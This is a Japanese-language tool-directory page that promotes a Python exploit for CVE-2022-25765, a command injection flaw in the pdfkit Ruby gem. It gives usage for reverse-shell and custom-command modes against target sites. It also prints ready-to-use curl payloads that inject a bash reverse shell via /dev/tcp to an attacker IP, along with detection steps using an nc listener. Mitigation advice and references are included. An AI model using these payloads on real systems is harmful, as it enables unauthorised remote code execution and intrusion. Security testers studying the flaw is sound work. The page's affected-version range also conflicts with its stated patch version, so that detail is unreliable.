Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2022-25765-exploit — pdfkitにおけるCVE-2022-25765のコマンドインジェクションのPythonエクスプロイト。細工されたURLを使用してリモートコード実行を可能にし、リバースシェルおよびカスタムコマンドモードを備えています。 | Kitploit
ツール/GitHubGitHub/jeanback1/cve-2022-25765-exploit
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストコマンド&コントロール
GitHubjeanback1/cve-2022-25765-exploit

CVE-2022-25765-exploit

pdfkitにおけるCVE-2022-25765のコマンドインジェクションのPythonエクスプロイト。細工されたURLを使用してリモートコード実行を可能にし、リバースシェルおよびカスタムコマンドモードを備えています。

リポジトリを見る
2ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2022-25765 — pdfkitのコマンドインジェクション

説明

CVE-2022-25765 は、pdfkit(Ruby gem)のバージョン < 0.8.7.2 に影響するコマンドインジェクション脆弱性です。この脆弱性は CRITICAL の深刻度(CVSS 9.8)を持ち、認証なしでリモートからコマンドを実行できます。

問題は、pdfkit が url パラメータをサニタイズせずに直接シェルに渡すことにあります。ライブラリは内部で wkhtmltopdf を次のようなコマンドで実行します。

root@kitploit:~
system("wkhtmltopdf --quiet ... '#{url}' output.pdf")

URL に %20(URLエンコードされたスペース)に続けてバックティック ` または $() が含まれていると、シェルはその内容をコマンドとして解釈し、実行します。

CVSS 3.1: 9.8 (CRITICAL) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H


技術的詳細

根本原因

pdfkit の脆弱なコード(source.rb:44-50):

root@kitploit:~
def command
  args = @options.map { |k, v| "--#{k} #{v}" }.join(' ')
  "wkhtmltopdf #{args} \"#{@source.to_s}\" -"
end

URL はサニタイズなしでシェルコマンドに直接展開されます。%20(スペース)を含めると、スペース以降の内容が wkhtmltopdf の引数コンテキストから脱出し、 ` や $() によって任意のコマンドが実行されます。


エクスプロイト

原作者

UNICORDev (@NicPWNs および @Dev-Yeoj)

オリジナルのエクスプロイトは以下にあります。

  • GitHub — UNICORDev/exploit-CVE-2022-25765
  • Exploit-DB #51293

必要条件

  • Python 3
  • requests、urllib3
root@kitploit:~
pip install -r requirements.txt

使用方法

root@kitploit:~
# カスタムコマンドモード(ペイロード生成)
python3 exploit-CVE-2022-25765.py -c "whoami"

# リバースシェルモード(ペイロード生成)
python3 exploit-CVE-2022-25765.py -s 10.10.14.5 4444

# Webモード — 脆弱なサイトに直接コマンド送信
python3 exploit-CVE-2022-25765.py -c "id" -w http://target.com/ -p url

# Webモード — 脆弱なサイトに直接リバースシェル送信
python3 exploit-CVE-2022-25765.py -s 10.10.14.5 4444 -w http://target.com/ -p url

# ヘルプ
python3 exploit-CVE-2022-25765.py -h

パラメータ

手動ペイロードの例

root@kitploit:~
# curl によるインジェクション
curl -X POST http://target.com/ \
  -d "url=http://10.10.14.5/%20\`bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'\`"

# またはバックティックの代わりに $() を使用
curl -X POST http://target.com/ \
  -d "url=http://10.10.14.5/%20\$(bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1')"

# 単純なコマンド
curl -X POST http://target.com/ \
  -d "url=http://10.10.14.5/%20\`id\`"

識別

サーバが脆弱かどうかを確認するには:

  1. 制御下のURLを送信し、HTTPコールバックを観測する
  2. 生成されたPDFのメタデータを確認:Creator: pdfkit v0.8.6
root@kitploit:~
# URLを送信しコールバックを受信
curl -X POST http://target.com/ -d "url=http://YOUR_IP:4444/test"
# リスナー: nc -lnvp 4444
# User-Agent: wkhtmltopdf のリクエストを受信すれば、アプリはPDF変換を行っている

# PDFのメタデータでバージョン確認
curl -s http://target.com/ -X POST --data-urlencode "url=http://example.com" -o output.pdf
pdfinfo output.pdf | grep Creator
# 探す: "Generated by pdfkit v0.8.6" (脆弱)

緩和策

  • pdfkit をバージョン ≥ 0.8.7.2 にアップデートする
  • アップデートが不可能な場合、url パラメータをサニタイズし、危険な文字(`、$()、%20)を除去する
  • URLのホワイトリストを実装するか、PDF生成にサードパーティのAPIを使用する

参考文献

  • NVD — CVE-2022-25765
  • CVE-2022-25765 の GitHub
  • Exploit-DB #51293
  • Snyk Advisory — SNYK-RUBY-PDFKIT-2869795
  • pdfkit GitHub(オリジナル)
ツールをダウンロード
フィールド値
CVECVE-2022-25765
製品pdfkit (Ruby gem)
影響を受けるバージョン0.0.0 – 0.8.7.2
タイプCommand Injection (CWE-78)
認証不要
CVSS 3.19.8 CRITICAL
パッチpdfkit ≥ 0.8.7.2
パラメータ説明
-cカスタムコマンド
-s <IP> <PORT>リバースシェルモード
-w <URL>脆弱なWebサイトのURL(オプション)
-p <param>POSTパラメータ(オプション、デフォルト: url)
-hヘルプ